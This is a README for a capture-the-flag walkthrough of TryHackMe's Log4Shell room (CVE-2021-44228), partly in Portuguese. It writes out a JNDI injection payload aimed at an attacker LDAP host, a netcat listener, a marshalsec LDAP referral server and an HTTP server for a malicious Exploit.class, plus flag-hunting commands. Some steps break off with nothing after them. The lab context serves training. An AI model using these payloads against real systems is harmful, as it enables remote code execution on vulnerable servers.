
This repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution.
Plataforma: TryHackMe Dificuldade: Médio Tópico: Log4Shell (Vulnerabilidade Log4j)
Explorar a vulnerabilidade Log4j (CVE-2021-44228) para obter execução remota de código e capturar flags.
nmap -sC -sV <TARGET_IP>
A vulnerabilidade Log4j permite injeção JNDI:
${jndi:ldap://<ATTACKER_IP>:1389/a}
Se a entrada for registrada → a vulnerabilidade existe.
nc -lvnp 4444
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package
Executar servidor LDAP:
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389
python3 -m http.server 8000
Criar classe Java maliciosa (Exploit.class)
Injetar payload no campo vulnerável:
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}
💡 Usar cabeçalhos como:
Uma vez acionado:
Verificar:
sudo -l
Procurar por:
find / -name flag.txt 2>/dev/null
cat flag.txt